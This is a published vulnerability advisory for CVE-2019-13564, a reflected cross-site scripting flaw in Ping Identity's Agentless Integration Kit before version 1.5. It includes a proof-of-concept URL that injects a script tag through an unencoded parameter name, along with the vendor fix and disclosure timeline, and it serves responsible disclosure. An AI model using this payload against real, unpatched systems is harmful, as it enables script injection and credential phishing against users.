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# Ping Identity Agentless Integration Kit Reflected Cross-site Scripting (XSS) #  
  
Link: https://github.com/sbaresearch/advisories/tree/public/2019/SBA-ADV-20190305-01_Ping_Identity_Agentless_Integration_Kit_Reflected_XSS  
  
## Vulnerability Overview ##  
  
Ping Identity Agentless Integration Kit before 1.5 is susceptible to  
Reflected Cross-site Scripting at the `/as/authorization.oauth2`  
endpoint due to improper encoding of an arbitrarily submitted HTTP  
GET parameter name.  
  
* **Identifier** : SBA-ADV-20190305-01  
* **Type of Vulnerability** : Cross-site Scripting  
* **Software/Product Name** : [Ping Identity Agentless Integration Kit](https://www.pingidentity.com/developer/en/resources/agentless-integration-kit-developers-guide.html)  
* **Vendor** : [Ping Identity](https://www.pingidentity.com/)  
* **Affected Versions** : < 1.5  
* **Fixed in Version** : 1.5  
* **CVE ID** : CVE-2019-13564  
* **CVSSv3 Vector** : AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N  
* **CVSSv3 Base Score** : 6.1 (Medium)  
  
## Vendor Description ##  
  
> After authenticating the user (via a federated security token or  
> authentication adapter), the user will be presented to the protected  
> application via an SP adapter. This adapter provides the last-mile  
> connection between the federation server (PingFederate) and the  
> application, the user will be presented to the application which can  
> then create a session and render the application for the  
> authenticated user.  
  
Source: <https://www.pingidentity.com/developer/en/resources/agentless-integration-kit-developers-guide/last-mile-integration.html>  
  
## Impact ##  
  
By exploiting the documented vulnerability, an attacker can execute  
JavaScript code in a victim's browser within the origin of the target  
site. This can be misused, for example, for phishing attacks by  
displaying a fake login form in the context of the trusted site via  
JavaScript and then sending the victim's credentials to the attacker.  
  
## Vulnerability Description ##  
  
The `/as/authorization.oauth2` endpoint of PingFederate takes several  
HTTP GET parameter name-value pairs, which are subsequently rendered  
as an HTML form with hidden input fields.  
  
```text  
https://idp.example.com/as/authorization.oauth2?response_type=code&client_id=CLIENT&redirect_uri=https%3A%2F%2Fapp.example.com%2Fcb  
```  
  
The name of the HTTP parameter is rendered as the `name` attribute of  
the corresponding input field, and the HTTP parameter value is rendered  
as the `value` attribute. The content of the `value` attribute is HTML-  
encoded and therefore not susceptible to XSS. However, the content of  
the `name` attribute is written to the HTML document without any  
encoding or sanitization.  
  
## Proof of Concept ##  
  
An attacker can exploit this vulnerability by ending the HTML attribute  
and element and then inserting, for example, a `script` tag.  
  
```text  
https://idp.example.com/as/authorization.oauth2?response_type=code&client_id=CLIENT&redirect_uri=https%3A%2F%2Fapp.example.com%2Fcb&%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E  
```  
  
The last parameter reads as follows when URL-decoded:  
  
```html  
"><script>alert(1)</script>  
```  
  
This leads to the following HTML response (shortened for readability):  
  
```html  
<form method="post" action="[...]">  
<input type="hidden" name="REF" value="[...]"/>  
<!-- ... -->  
<input type="hidden" name=""><script>alert(1)</script>" value=""/>  
<!-- ... -->  
</form>  
```  
  
## Recommended Countermeasures ##  
  
We recommend to HTML-encode the parameter name the same way the  
parameter value is encoded.  
  
## Timeline ##  
  
* `2019-03-05` Identified the vulnerability in version < 1.5  
* `2019-03-25` Contacted the vendor via support  
* `2019-05-24` Finding review with Ping Identity and SBA Research  
* `2019-07-11` Publication of CVE-2019-13564  
  
## References ##  
  
* [NIST NVD entry of CVE-2019-13564](https://nvd.nist.gov/vuln/detail/CVE-2019-13564)  
  
## Credits ##  
  
* Thomas Konrad ([SBA Research](https://www.sba-research.org/))